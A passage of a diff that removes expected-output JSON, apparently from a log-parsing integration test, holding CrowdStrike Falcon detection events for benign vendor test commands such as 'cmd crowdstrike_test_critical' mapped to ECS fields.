-                "description": "A low level detection was triggered on this process for testing purposes.",
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "address": "10.0.0.13",
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "cmd  crowdstrike_test_critical",
-                "GrandparentImageFileName": "cmd.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "HostGroups": [
-                    "6b15afc3ea3a42ed810b5c163e490a9d"
-                ],
-                "MACAddress": "ba-d0-00-ba-d0-00",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "cmd  crowdstrike_test_high",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 10305,
-                "PlatformId": "0",
-                "PlatformName": "Windows",
-                "SensorId": "cff45d56127743a593792fb968dac907",
-                "Severity": 50,
-                "SeverityName": "Medium",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Falcon Overwatch",
-                "Technique": "Malicious Activity",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "cff45d56127743a593792fb968dac907"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 47,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
-                "hash": {
-                    "md5": "645b4fecb42fb954858850fe127ceb98",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "hostname": "dave-win10-3",
-                "mac": [
-                    "BA-D0-00-BA-D0-00"
-                ],
-                "name": "dave-win10-3"
-            },
-            "message": "A medium level detection was triggered on this process for testing purposes.",
-            "process": {
-                "command_line": "cmd  crowdstrike_test_medium",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "43448891811",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "name": "cmd.exe",
-                "parent": {
-                    "entity_id": "43447659975",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "name": "cmd.exe"
-                },
-                "start": "2025-07-15T10:29:14.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "645b4fecb42fb954858850fe127ceb98"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "description": "A medium level detection was triggered on this process for testing purposes.",
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "address": "10.0.0.13",
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
-                "GrandparentImageFileName": "cmd.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "HostGroups": [
-                    "6b15afc3ea3a42ed810b5c163e490a9d"
-                ],
-                "MACAddress": "ba-d0-00-ba-d0-00",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "cmd  crowdstrike_test_critical",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 10304,
-                "PlatformId": "0",
-                "PlatformName": "Windows",
-                "SensorId": "cff45d56127743a593792fb968dac907",
-                "Severity": 70,
-                "SeverityName": "High",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Falcon Overwatch",
-                "Technique": "Malicious Activity",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "cff45d56127743a593792fb968dac907"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
-                "hash": {
-                    "md5": "099d5a3c2f87817751337a9cf8d6a70b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "hostname": "dave-win10-3",
-                "mac": [
-                    "BA-D0-00-BA-D0-00"
-                ],
-                "name": "dave-win10-3"
-            },
-            "message": "A high level detection was triggered on this process for testing purposes.",
-            "process": {
-                "command_line": "cmd  crowdstrike_test_high",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "43447659975",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "name": "cmd.exe",
-                "parent": {
-                    "entity_id": "43444774922",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "name": "cmd.exe"
-                },
-                "start": "2025-07-15T10:29:05.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "099d5a3c2f87817751337a9cf8d6a70b"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "description": "A high level detection was triggered on this process for testing purposes.",
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "address": "10.0.0.13",
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
-                "GrandparentImageFileName": "explorer.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                "HostGroups": [
-                    "6b15afc3ea3a42ed810b5c163e490a9d"
-                ],
-                "MACAddress": "ba-d0-00-ba-d0-00",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 10303,
-                "PlatformId": "0",
-                "PlatformName": "Windows",
-                "SensorId": "cff45d56127743a593792fb968dac907",
-                "Severity": 90,
-                "SeverityName": "Critical",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Falcon Overwatch",
-                "Technique": "Malicious Activity",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "cff45d56127743a593792fb968dac907"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 99,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
-                "hash": {
-                    "md5": "bd5bfe63bc48507039f7e3afa5b01a70",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "hostname": "dave-win10-3",
-                "mac": [
-                    "BA-D0-00-BA-D0-00"
-                ],
-                "name": "dave-win10-3"
-            },
-            "message": "A critical level detection was triggered on this process for testing purposes.",
-            "process": {
-                "command_line": "cmd  crowdstrike_test_critical",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "43444774922",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "name": "cmd.exe",
-                "parent": {
-                    "entity_id": "43425257674",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "name": "cmd.exe"
-                },
-                "start": "2025-07-15T10:28:54.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "bd5bfe63bc48507039f7e3afa5b01a70"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "description": "A critical level detection was triggered on this process for testing purposes.",
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "address": "10.0.0.13",
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
-                "GrandparentImageFileName": "explorer.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                "HostGroups": [
-                    "6b15afc3ea3a42ed810b5c163e490a9d"
-                ],
-                "MACAddress": "ba-d0-00-ba-d0-00",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 10197,
-                "PlatformId": "0",
-                "PlatformName": "Windows",
-                "SensorId": "cff45d56127743a593792fb968dac907",
-                "Severity": 30,
-                "SeverityName": "Low",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Malware",
-                "Technique": "Malicious File",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "cff45d56127743a593792fb968dac907"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice  /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
-                "hash": {
-                    "md5": "ce0219f7ab9077db1c089a48eaa82eb1",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930"
-                },
-                "name": "choice.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "hostname": "dave-win10-3",
-                "mac": [
-                    "BA-D0-00-BA-D0-00"
-                ],
-                "name": "dave-win10-3"
-            },
-            "message": "For evaluation only - benign, no action needed.",
-            "process": {
-                "command_line": "choice  /m crowdstrike_sample_detection",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "43438097407",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe",
-                "name": "choice.exe",
-                "parent": {
-                    "entity_id": "43425257674",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
